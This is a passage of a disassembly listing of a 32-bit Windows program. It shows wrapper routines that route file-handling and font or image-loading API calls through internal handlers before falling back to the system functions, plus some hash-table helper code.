arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_14]
		and	eax, 10h
		test	eax, eax
		jz	short loc_49C216
		cmp	[ebp+arg_8], 0
		jnz	short loc_49C216
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		call	sub_490036
		test	eax, eax
		jnz	short loc_49C216
		and	[ebp+var_4], 0

loc_49C216:				; CODE XREF: sub_49C1EA+10j
					; sub_49C1EA+16j ...
		cmp	[ebp+var_4], 0
		jnz	short loc_49C237
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A27CC	; LoadImageA
		mov	[ebp+var_4], eax

loc_49C237:				; CODE XREF: sub_49C1EA+30j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_49C1EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C23E	proc near		; DATA XREF: _6:off_4A23C8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_49F5C4
		push	offset aAddfontresou_0 ; "AddFontResourceA"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_49094C
		test	eax, eax
		jnz	short loc_49C270
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax

loc_49C270:				; CODE XREF: sub_49C23E+27j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_49C23E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C277	proc near		; DATA XREF: _6:004A23D0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset dword_49F5C4
		push	offset aRemovefontre_0 ; "RemoveFontResourceA"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_490D24
		test	eax, eax
		jnz	short loc_49C2A9
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax

loc_49C2A9:				; CODE XREF: sub_49C277+27j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_49C277	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C2B0	proc near		; CODE XREF: sub_402DD7+68p
					; sub_40494F+A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_14]
		and	eax, 40000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_491346
		test	eax, eax
		jnz	short loc_49C2F7
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26A8	; CreateFileA
		mov	[ebp+var_4], eax

loc_49C2F7:				; CODE XREF: sub_49C2B0+27j
		mov	eax, [ebp+var_4]
		leave
		retn	1Ch
sub_49C2B0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49FAF0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-20h], 0
		or	dword ptr [ebp-1Ch], 0FFFFFFFFh
		and	dword ptr [ebp-4], 0
		push	104h
		call	sub_49935A
		pop	ecx
		mov	[ebp-28h], eax
		mov	eax, [ebp-28h]
		mov	[ebp-20h], eax
		xor	eax, eax
		mov	edi, [ebp-20h]
		stosd
		push	0
		push	0
		push	104h
		push	dword ptr [ebp-20h]
		push	0FFFFFFFFh
		push	dword ptr [ebp+8]
		push	0
		push	0
		call	ds:dword_4A27B8	; WideCharToMultiByte
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 103h
		ja	short loc_49C388
		push	0
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-20h]
		call	sub_491346
		test	eax, eax
		jnz	short loc_49C3A6

loc_49C388:				; CODE XREF: _4:0049C36Ej
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_4A26AC	; CreateFileW
		mov	[ebp-1Ch], eax

loc_49C3A6:				; CODE XREF: _4:0049C386j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_49C3B1
		jmp	short loc_49C3C1

; =============== S U B	R O U T	I N E =======================================



sub_49C3B1	proc near		; CODE XREF: _4:0049C3AAp
					; DATA XREF: _5:0049FAF8o
		mov	eax, [ebp-20h]
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-2Ch]
		call	sub_4993DD
		pop	ecx
		retn
sub_49C3B1	endp

; ---------------------------------------------------------------------------

loc_49C3C1:				; CODE XREF: _4:0049C3AFj
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C3D5	proc near		; CODE XREF: sub_402DD7+120p
					; sub_402DD7+150p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_491741
		test	eax, eax
		jnz	short loc_49C3F5
		push	[ebp+arg_0]
		call	ds:dword_4A26A4	; CloseHandle
		mov	[ebp+var_4], eax

loc_49C3F5:				; CODE XREF: sub_49C3D5+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_49C3D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C3FC	proc near		; CODE XREF: sub_402DD7+135p
					; sub_40494F+1A9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jnz	short loc_49C436
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A277C	; ReadFile
		mov	[ebp+var_4], eax
		jmp	short loc_49C459
; ---------------------------------------------------------------------------

loc_49C436:				; CODE XREF: sub_49C3FC+1Ej
		cmp	[ebp+arg_10], 0
		jz	short loc_49C459
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_49C459
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_49C459
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+10h]
		call	ds:dword_4A2784	; SetEvent

loc_49C459:				; CODE XREF: sub_49C3FC+38j
					; sub_49C3FC+3Ej ...
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_49C3FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C460	proc near		; CODE XREF: sub_406A0D+6Cp
					; sub_40C512+259p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_491421
		test	eax, eax
		jnz	short loc_49C491
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A2788	; SetFilePointer
		mov	[ebp+var_4], eax
		jmp	short loc_49C49D
; ---------------------------------------------------------------------------

loc_49C491:				; CODE XREF: sub_49C460+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_49C49D
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0

loc_49C49D:				; CODE XREF: sub_49C460+2Fj
					; sub_49C460+35j
		mov	eax, [ebp+var_4]
		leave
		retn	10h
sub_49C460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C4A4	proc near		; CODE XREF: sub_40AAFA+25p
					; DATA XREF: _1:off_424114o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_49C4BE
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_491216
		test	eax, eax
		jnz	short loc_49C4D9

loc_49C4BE:				; CODE XREF: sub_49C4A4+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26B0	; CreateFileMappingA
		mov	[ebp+var_4], eax

loc_49C4D9:				; CODE XREF: sub_49C4A4+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_49C4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C4E0	proc near		; DATA XREF: _6:004A22B0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_49C4FA
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_491216
		test	eax, eax
		jnz	short loc_49C515

loc_49C4FA:				; CODE XREF: sub_49C4E0+8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A26B4	; CreateFileMappingW
		mov	[ebp+var_4], eax

loc_49C515:				; CODE XREF: sub_49C4E0+18j
		mov	eax, [ebp+var_4]
		leave
		retn	18h
sub_49C4E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C51C	proc near		; CODE XREF: sub_40AAFA+36p
					; DATA XREF: _1:off_424000o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_490FBF
		test	eax, eax
		jnz	short loc_49C554
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A276C	; MapViewOfFile
		mov	[ebp+var_4], eax

loc_49C554:				; CODE XREF: sub_49C51C+1Ej
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_49C51C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C55B	proc near		; CODE XREF: sub_40AAFA+69p
					; DATA XREF: _1:off_424110o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_490ECD
		test	eax, eax
		jnz	short loc_49C57B
		push	[ebp+arg_0]
		call	ds:dword_4A27A0	; UnmapViewOfFile
		mov	[ebp+var_4], eax

loc_49C57B:				; CODE XREF: sub_49C55B+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_49C55B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C582	proc near		; DATA XREF: _6:004A2328o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_491346
		test	eax, eax
		jz	short loc_49C610
		cmp	[ebp+arg_4], 0
		jz	short loc_49C60B
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, 88h
		jnz	short loc_49C60B
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+1], 1
		mov	eax, [ebp+arg_4]
		and	word ptr [eax+2], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], 7Fh
		jnb	short loc_49C5E0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		jmp	short loc_49C5E7
; ---------------------------------------------------------------------------

loc_49C5E0:				; CODE XREF: sub_49C582+54j
		mov	[ebp+var_10], 7Fh

loc_49C5E7:				; CODE XREF: sub_49C582+5Cj
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		add	edi, 8
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+87h], 0

loc_49C60B:				; CODE XREF: sub_49C582+22j
					; sub_49C582+2Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_49C630
; ---------------------------------------------------------------------------

loc_49C610:				; CODE XREF: sub_49C582+1Cj
		push	offset dword_49F5B4
		push	offset aOpenfile ; "OpenFile"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]

loc_49C630:				; CODE XREF: sub_49C582+8Cj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_49C582	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C636	proc near		; DATA XREF: _6:004A2330o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_491346
		test	eax, eax
		jz	short loc_49C656
		mov	eax, [ebp+var_4]
		jmp	short locret_49C673
; ---------------------------------------------------------------------------

loc_49C656:				; CODE XREF: sub_49C636+19j
		push	offset dword_49F5B4
		push	offset a_lopen	; "_lopen"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]

locret_49C673:				; CODE XREF: sub_49C636+1Ej
		leave
		retn	8
sub_49C636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C677	proc near		; DATA XREF: _6:004A2338o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		movzx	eax, ds:byte_4A70E4
		and	eax, 1
		test	eax, eax
		jnz	short loc_49C6AB
		mov	al, ds:byte_4A70E4
		or	al, 1
		mov	ds:byte_4A70E4,	al
		push	offset dword_49F5B4
		push	offset a_lclose	; "_lclose"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	ds:dword_4A70E0, eax

loc_49C6AB:				; CODE XREF: sub_49C677+10j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_491741
		test	eax, eax
		jnz	short loc_49C6C6
		push	[ebp+arg_0]
		call	ds:dword_4A70E0
		jmp	short locret_49C6C8
; ---------------------------------------------------------------------------

loc_49C6C6:				; CODE XREF: sub_49C677+42j
		xor	eax, eax

locret_49C6C8:				; CODE XREF: sub_49C677+4Dj
		leave
		retn	4
sub_49C677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C6CC	proc near		; DATA XREF: _6:004A2348o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_491421
		test	eax, eax
		jnz	short loc_49C70A
		push	offset dword_49F5B4
		push	offset a_llseek	; "_llseek"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax

loc_49C70A:				; CODE XREF: sub_49C6CC+19j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_49C6CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C711	proc near		; DATA XREF: _6:004A2340o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jnz	short loc_49C763
		push	offset dword_49F5B4
		push	offset a_lread	; "_lread"
		call	sub_49AC22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_49C763
		mov	[ebp+var_4], 1

loc_49C763:				; CODE XREF: sub_49C711+20j
					; sub_49C711+49j
		cmp	[ebp+var_4], 0
		jnz	short loc_49C76F
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	short loc_49C775
; ---------------------------------------------------------------------------

loc_49C76F:				; CODE XREF: sub_49C711+56j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax

loc_49C775:				; CODE XREF: sub_49C711+5Cj
		mov	eax, [ebp+var_10]
		leave
		retn	0Ch
sub_49C711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C77C	proc near		; CODE XREF: sub_493DD0+6C7p
					; sub_493DD0+70Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_0]
		shl	eax, 2
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4A274C	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		leave
		retn	4
sub_49C77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C7C0	proc near		; CODE XREF: sub_49C82A+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		and	[ebp+var_4], 0
		jmp	short loc_49C7D6
; ---------------------------------------------------------------------------

loc_49C7CF:				; CODE XREF: sub_49C7C0:loc_49C824j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_49C7D6:				; CODE XREF: sub_49C7C0+Dj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short locret_49C826
		mov	eax, [ebp+var_14]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax

loc_49C7EF:				; CODE XREF: sub_49C7C0+62j
		cmp	[ebp+var_8], 0
		jz	short loc_49C824
		cmp	[ebp+arg_0], 0
		jz	short loc_49C804
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		call	[ebp+arg_0]
		pop	ecx

loc_49C804:				; CODE XREF: sub_49C7C0+39j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4993DD
		pop	ecx
		jmp	short loc_49C7EF
; ---------------------------------------------------------------------------

loc_49C824:				; CODE XREF: sub_49C7C0+33j
		jmp	short loc_49C7CF
; ---------------------------------------------------------------------------

locret_49C826:				; CODE XREF: sub_49C7C0+1Ej
		leave
		retn	4
sub_49C7C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C82A	proc near		; CODE XREF: sub_496070+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		push	0
		mov	ecx, [ebp+var_8]
		call	sub_49C7C0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4A2750	; RtlDeleteCriticalSection
		leave
		retn
sub_49C82A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C85D	proc near		; DATA XREF: sub_49C871+Co
					; sub_49C8E0+Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	eax, [ebp+arg_4]
		setnz	cl
		mov	eax, ecx
		pop	ebp
		retn	8
sub_49C85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C871	proc near		; CODE XREF: sub_490036+94p
					; sub_4906DE+63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_49CAFE
		push	offset sub_49C85D
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_49C891
		leave
		retn	4
sub_49C871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C891	proc near		; CODE XREF: sub_4968CF+20p
					; sub_49C871+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax

loc_49C8B2:				; CODE XREF: sub_49C891+47j
		cmp	[ebp+var_4], 0
		jz	short loc_49C8DA
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_49C8CF
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		jmp	short locret_49C8DC
; ---------------------------------------------------------------------------

loc_49C8CF:				; CODE XREF: sub_49C891+35j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_49C8B2
; ---------------------------------------------------------------------------

loc_49C8DA:				; CODE XREF: sub_49C891+25j
		xor	eax, eax

locret_49C8DC:				; CODE XREF: sub_49C891+3Cj
		leave
		retn	0Ch
sub_49C891	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C8E0	proc near		; CODE XREF: sub_490818+93p
					; sub_490D24+106p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_49CAFE
		push	offset sub_49C85D
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_49C900
		leave
		retn	4
sub_49C8E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C900	proc near		; CODE XREF: sub_496FCD+F1p
					; sub_49C8E0+17p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], ecx
		mov	eax, [ebp+var_18]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		lea	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax

loc_49C937:				; CODE XREF: sub_49C900+86j
		cmp	[ebp+var_8], 0
		jz	short loc_49C988
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_49C974
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	sub_4993DD
		pop	ecx
		mov	eax, [ebp+var_10]
		jmp	short locret_49C98A
; ---------------------------------------------------------------------------

loc_49C974:				; CODE XREF: sub_49C900+4Bj
		mov	eax, [ebp+var_8]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	short loc_49C937
; ---------------------------------------------------------------------------

loc_49C988:				; CODE XREF: sub_49C900+3Bj
		xor	eax, eax

locret_49C98A:				; CODE XREF: sub_49C900+72j
		leave
		retn	0Ch
sub_49C900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C98E	proc near		; CODE XREF: sub_48D000+3Ep
					; sub_491216+D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_49CAFE
		push	offset sub_49C85D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_49C9B1
		leave
		retn	8
sub_49C98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49C9B1	proc near		; CODE XREF: sub_496BD7+204p
					; sub_49C98E+1Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
